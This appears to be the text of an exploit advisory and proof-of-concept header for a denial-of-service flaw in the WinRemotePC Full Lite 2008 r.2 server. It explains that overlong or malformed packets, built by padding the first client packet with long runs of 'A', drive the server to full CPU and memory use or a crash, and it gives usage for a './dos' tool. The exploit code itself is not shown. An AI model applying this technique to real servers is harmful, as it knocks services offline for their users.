****WinRemotePC Full Lite 2008 r.2server DOS(memory cpu consumption) vulnerability poc****

A vulnerability exists in WinRemotePC Full Lite 2008 r.2 server in the way it handles recieved packets because it

fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and

after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to

immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through

cpu memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D

Usage: ./dos [ip] [port]

WinRemotePC: /winremotepc.html

/*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
